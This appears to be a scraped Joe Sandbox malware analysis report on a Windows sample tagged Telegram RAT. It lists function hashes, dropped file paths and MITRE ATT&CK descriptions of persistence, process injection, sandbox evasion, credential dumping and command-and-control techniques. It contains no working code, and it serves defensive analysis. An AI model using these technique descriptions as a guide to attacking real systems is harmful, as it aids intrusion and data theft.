Uniqueness Score: -1.00%

Function 00007FF848F1973C Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddd472fe98cbc0d3d86f26c1f105a2f876b5a2b37dedfd10cb379ccdb834427e
Instruction ID: 1e4bfc7c378a6795feed3ab8cdc11475d92fa58141f3ca952106dfa773926c63
Opcode Fuzzy Hash: ddd472fe98cbc0d3d86f26c1f105a2f876b5a2b37dedfd10cb379ccdb834427e
Instruction Fuzzy Hash: 50312530B2D90A9EEB85FB688055BFEB7A1EF48344F900079D00ED36D6CF29A8419795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F118D1 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70b9cdc9bb0b04e643e785e0094a33c6008dff21aa92100d1efa59fde415e12
Instruction ID: 8449ff293b819dfc4d97250b992d8d7a921534929e8aa7d55e5140d87dfaefcf
Opcode Fuzzy Hash: e70b9cdc9bb0b04e643e785e0094a33c6008dff21aa92100d1efa59fde415e12
Instruction Fuzzy Hash: 52213A2161EA890FF755B77C64156B97BE0EF46395F5400FBD499C31C7DD1AAC828301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F17C48 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e4fb3bd97c704e0e3f7d51fc705e58c726a629a37ed9b6f9c0359aeb13cdb01
Instruction ID: 6ebb57a0b0c7d5f1d37d4759e397f2667768a317891efce3f63ef0cea75a0844
Opcode Fuzzy Hash: 8e4fb3bd97c704e0e3f7d51fc705e58c726a629a37ed9b6f9c0359aeb13cdb01
Instruction Fuzzy Hash: 6711EF30E0DD991FE794EB7C585CABA6BE1EF99341B0800BBE04DC72A6DE148C098381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F11CCE Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b0027c5ae6aa1e46b1041a1032e645e5cca4040b2ce542600975df2b8b87c8
Instruction ID: 2e1667c01aa6675549baec4f7f290656834a78d8d92d099a7fcb9faa34133ce5
Opcode Fuzzy Hash: 16b0027c5ae6aa1e46b1041a1032e645e5cca4040b2ce542600975df2b8b87c8
Instruction Fuzzy Hash: F501242271E99A0FE306B72C2C921F8B3D1DF86224B4800BED0DAD35D3DD093817528A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F17DBD Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3645120b4e19c5b5f34eb59441cf281493d3ead9ae413c4f3b9b08460ba69c63
Instruction ID: a9fa4d2f18861232303f6e6ce825794c26418cfb56d769e6ec8675d35cfec282
Opcode Fuzzy Hash: 3645120b4e19c5b5f34eb59441cf281493d3ead9ae413c4f3b9b08460ba69c63
Instruction Fuzzy Hash: BC11863021E9995FC742EB3C8879A99BBE5EF5A35071504FDD085CB1E2DB299806C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F19568 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08db378f605fca598e02d32094bef0d233e3c881f5b5ef2cb218051e4355cd91
Instruction ID: 49418014f28bc5aefc71f244210844014f0a080f67d91e42ef2472f5fc8d8829
Opcode Fuzzy Hash: 08db378f605fca598e02d32094bef0d233e3c881f5b5ef2cb218051e4355cd91
Instruction Fuzzy Hash: 6D01B120B1EE992FD742F7BC18695BEBBD1CF5A25174404FAE049CB2A3ED18DC029380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F19616 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d694816cb10848410e1b89ee1b5f73c709f60f4331cfd6d29727677c74fe4f3
Instruction ID: a04c35857b792ceaf6b5395195e3bda2f98cbc2275fcb9fe6819b5c36fa852de
Opcode Fuzzy Hash: 6d694816cb10848410e1b89ee1b5f73c709f60f4331cfd6d29727677c74fe4f3
Instruction Fuzzy Hash: 66F01232F1CC1A0EF699B75C141A2BDD2C2EFD8795F940176D50DD36CAEE181C4602E9

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F195B6 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e995f9369428a02ba28a66ef5696289df7718da074ce82ca1e925c5a00d3468c
Instruction ID: 9e08624b862c59c6d56593cb39e072fd18470b70975fa4aa0525e33996e4f802
Opcode Fuzzy Hash: e995f9369428a02ba28a66ef5696289df7718da074ce82ca1e925c5a00d3468c
Instruction Fuzzy Hash: 16F09020F29C491FE785FB7C54A927967D2EFAD241B4504B9D04DC72A7ED189C028380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F17D2F Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7ba89d8298fc02841e66121091f3d9778c9ed295f607be5db743ace4b702bc5
Instruction ID: 98d01c22432c7d0e7590e0395504980b20893381e40aeb044035a3545441640f
Opcode Fuzzy Hash: f7ba89d8298fc02841e66121091f3d9778c9ed295f607be5db743ace4b702bc5
Instruction Fuzzy Hash: 81E0222165EC9E2FE242E32C1865ABA3BD8CF4A69470401BAE08DD72E3CF082C464258

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F17D5D Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbc631ce221684b7a9376f6eb86ae999aeab0644076320fa67d1056c4294ebb2
Instruction ID: 20fbef61957c997a2755bd5d398a4fe0989dc6712eda7607048d556f058378e2
Opcode Fuzzy Hash: dbc631ce221684b7a9376f6eb86ae999aeab0644076320fa67d1056c4294ebb2
Instruction Fuzzy Hash: 44F09B20B2DC1D1FE185F76C086967D67D6DF996D07440079D00EC32D7DF085C4A5259

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F11991 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb8d527f89ceb7f8313b5349cfb72f290ce1a9c852d05d15ce0520866b09eea
Instruction ID: bac196354450252056ffde2cab6dfb694422f14bde1b3054e995ba17c340e9f3
Opcode Fuzzy Hash: 3bb8d527f89ceb7f8313b5349cfb72f290ce1a9c852d05d15ce0520866b09eea
Instruction Fuzzy Hash: 2CF04F65C1FADA1EE353BB7408750A63FA05F86380F8815B6E494C70C3EA086908D36A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F17E4D Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7c779652859edd9dccc647c44663e84b623c52e52f478d99d89a2a04de862f
Instruction ID: b26b37384eee9aef6ce2a85675195c542b3a7fbc739632afb6491f6df3ad7d1f
Opcode Fuzzy Hash: 5b7c779652859edd9dccc647c44663e84b623c52e52f478d99d89a2a04de862f
Instruction Fuzzy Hash: B6E06D31B18D1C8FAF80FB6CA449AEC73E1EB9C321B0401B6D00DD3256DE20EC408780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F109CC Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0be592f38a729284e6a4fa2d89b85bc7adc7e0aeb629edd05f28a9279e4e1dd
Instruction ID: e6a1e1ef90e543137917df34ddea7307654870b4f584b22aa56757b34a6fc613
Opcode Fuzzy Hash: a0be592f38a729284e6a4fa2d89b85bc7adc7e0aeb629edd05f28a9279e4e1dd
Instruction Fuzzy Hash: 61F0373060D9999FCB85EBACC8E5EAA7BF1EF5B30070404D9D05DDB172C624AC06DB15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1779D Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec8c3bdfae890fd78fb7dbfe62fe64e90fa3b46a0a6a8ff3b710bb82c9b45a4
Instruction ID: b31cfd4d33940fd9ae74e5550e516b74f9e147680b8b072392a5b96056814270
Opcode Fuzzy Hash: 4ec8c3bdfae890fd78fb7dbfe62fe64e90fa3b46a0a6a8ff3b710bb82c9b45a4
Instruction Fuzzy Hash: 7DE0207290DA9C5FD714BA59BC069E7BF94FB86324F00015EE44CC7191D3155512C345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F18178 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b46a97349ce8d18ebafad574a662e3d74816746fea3335e6e5a7a18918a4fa4
Instruction ID: 36b783b0ddf9ba22e236ca1d9bf9d558b4c5992268b053c0dfb28dcaae1facf3
Opcode Fuzzy Hash: 0b46a97349ce8d18ebafad574a662e3d74816746fea3335e6e5a7a18918a4fa4
Instruction Fuzzy Hash: 77E06810E1EDD91FE345FBBC08BA4B63FE4CF6A24070400ADE488EB1E3EC04181182A5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1771D Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b3c387a804f4bb37825fb36b5923f10c253d326f80f85a3516acb6656a5f610
Instruction ID: 5376904b87850e8e273197940fd0fb2ac0abb37c26257fc2a52f2c727334d1bd
Opcode Fuzzy Hash: 7b3c387a804f4bb37825fb36b5923f10c253d326f80f85a3516acb6656a5f610
Instruction Fuzzy Hash: 20E0ED32E1D92C4EEB94FB98D8456ECB3A2FF88351F500076D90DE3692DE256C418784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F19666 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47c50c2ee0ed150789e666a72b43f6b814cc1fe506b1cd295d8cfc8eb413b14
Instruction ID: 0eedfc53fc1722daa7113023a9f39e9a53a35e1126018fb4036dd8e78a2b11d8
Opcode Fuzzy Hash: c47c50c2ee0ed150789e666a72b43f6b814cc1fe506b1cd295d8cfc8eb413b14
Instruction Fuzzy Hash: E0E0DF2272C9494DDB46A72C90903EAB7D0DB98314F4840BAD00EC22CBCFA9984583D0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F108F1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bbfd340abafea27a6947ae62ef8c99e58cd4d739b94c602986c3f22b81ff63e
Instruction ID: 0155009adc51ef85940fd3556d008303bab8ed1e778e78198662fe624bf7116c
Opcode Fuzzy Hash: 2bbfd340abafea27a6947ae62ef8c99e58cd4d739b94c602986c3f22b81ff63e
Instruction Fuzzy Hash: 85E0C276C8D6DD8FDB46BB7018010E97FA0EF41350F8401A7F85CC6083EA9C19198392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F19544 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6afbd7ec111aba5667ed491c5d911323a691efbc7e5d575a6c7385089a808f
Instruction ID: c83defd63ee4dd888c9184f84c707ff56354acfce05d8a03d6c985b9cc7ea6db
Opcode Fuzzy Hash: 3e6afbd7ec111aba5667ed491c5d911323a691efbc7e5d575a6c7385089a808f
Instruction Fuzzy Hash: 5CC01231D0C9594EE285F724445D6B417C2EFD4791F4400B5E91CD75D7DD082C09462A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F10960 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a228264752909aab74093cdf408ad7cd6be8dc4bffe11f507bb7a9d482ce56
Instruction ID: c17cf247560f7adcdc1d9a75cdc23bea0a621bdc7f739d36304bcb6edd992728
Opcode Fuzzy Hash: 52a228264752909aab74093cdf408ad7cd6be8dc4bffe11f507bb7a9d482ce56
Instruction Fuzzy Hash: 45C00231C9E52608FC5477B515522F522501FD53E4F8520B0FD8C562C7BF5E2C5945AA

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HTZ4az17lj.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\6D97C624D7.zip

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\uuhbr0xg.h20.exe.log

C:\Users\user\AppData\Local\Temp\ndoyz5n0.3un

C:\Users\user\AppData\Local\Temp\p.html

C:\Users\user\AppData\Local\Temp\places.raw

C:\Users\user\AppData\Local\Temp\tmp3D76.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp59AE.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp59CE.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp753B.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp754C.tmp.dat

Windows Analysis Report
HTZ4az17lj.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

